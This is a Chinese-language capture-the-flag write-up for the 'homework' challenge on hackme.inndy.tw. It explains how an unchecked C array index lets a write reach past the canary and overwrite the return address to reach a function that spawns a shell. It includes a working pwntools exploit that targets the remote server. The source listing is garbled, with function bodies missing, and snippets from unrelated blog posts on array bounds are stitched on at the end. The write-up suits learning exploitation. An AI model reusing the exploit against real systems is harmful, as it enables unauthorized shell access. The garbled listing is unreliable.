原理:因為c語言不會檢測陣列下標,所以如果我們給陣列乙個超出它大小的下標,就會照成陣列越界。如果是想陣列中寫入資料的話,就會造成資料寫入到不屬於陣列的地方,或者說如果讀取資料的話,就會讀取到別的地方的資料。
因為陣列位址是自低往高增長,而棧的位址是自高向下降低,所以如果我們將陣列下標根據棧內的空間的分布,設定為特定的值,就可以修改或者是檢視我們想要檢視的位址的值。比如將返回位址設定成我們想要呼叫函式的位址。
具體可以看一下這篇部落格:
題目:homework (hackme.inndy.tw)
hint: index out bound ,return address ,並且給了程式原始碼
題目防護機制:
開啟了nx和canary
原始碼為:
#include #include #include char name[1024];
void call_me_maybe()
void unbuffer_io()
void set_timeout()
void ask_name()
void say_goodbye()
void run_program()
}}int main()
程式邏輯:
程式要求輸入乙個使用者名稱,然後就執行run_program函式
我們可以輸入乙個陣列下標和值來改變陣列的值
原始碼裡有個函式呼叫了system函式,結合hint中的retrunaddress 可以猜測是要將返回位址覆蓋成call_me_maybe這個函式的位址 來獲取shell
因為題目開啟了canary ,所以不能直接棧溢位來覆蓋返回位址
hint 還給了index out bound
結合題目原始碼沒有對陣列下標進行限制,所以我們可以用陣列越界來修改返回位址
陣列在棧中的位置是0x34,和返回位址的距離是0x34+8
所以輸入的陣列下標為14
exp:
from pwn import*
context.log_level="debug"
#p = process('./homework')
p = remote('hackme.inndy.tw', 7701)
p.recvuntil("what's your name?")
p.sendline('aaaa')
p.recvuntil(" > ")
p.sendline("1")
p.recv()
p.sendline("14")
p.recvuntil("how many?")
p.sendline(str(0x080485fb))
p.sendline("0")#make program return to target function
p.interactive()
C陣列下標越界
之前總聽說c語言的各種毛病,今天算是遇到乙個 陣列下標越界 兩段完成不相干的 一段是測溫度的,一段是測轉速的。兩段 單獨執行都沒有問題,但是若執行測轉速的 測溫度的資料就會發生錯誤。一步檢視,發現執行測轉速之後,測溫度的 中的乙個變數和乙個資料的值就會發生詭異的錯誤 陣列下標越界 這個越界非常不明顯...
搬運 C 下標越界後
搬運 因為原來的部落格要關,所以從原來的部落格搬運過來。最近遇到乙個很奇怪的問題,在arm linux下發現乙個bug,用windows版驗證也有這個問題,後來查到原因是下標錯了,多加了1,後來修復了這個bug。可是測試人員在驗證新版本時告訴我,原版本沒有這個問題。後來了解到,該測試人員測試的額x8...
關於C語言的陣列賦值和陣列下標越界問題
陣列名就代表著該陣列的首位址,後面的所有元素都可以根據陣列名加上偏移量取到。第乙個小例子 程式設計實現顯示使用者輸入的月份 不考慮閏年 擁有的天數。include define months 12 intmain int month 1 12 dowhile month 1 month 12 處理不...